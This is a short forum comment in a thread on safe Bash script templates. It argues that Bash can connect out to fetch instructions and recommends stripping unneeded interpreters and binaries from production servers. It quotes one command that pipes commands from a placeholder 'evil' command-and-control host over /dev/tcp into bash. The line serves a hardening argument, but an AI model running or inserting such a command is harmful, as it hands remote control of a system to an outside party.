Re:Minimal safe Bash script template
by Nullabillity on Wednesday December 16, 2020 @07:16AM
(#25441673)
> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd
Not listen, but it can certainly connect out and ask for instructions...
bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'
Python and other powerful scripting languages can.
Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.
The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.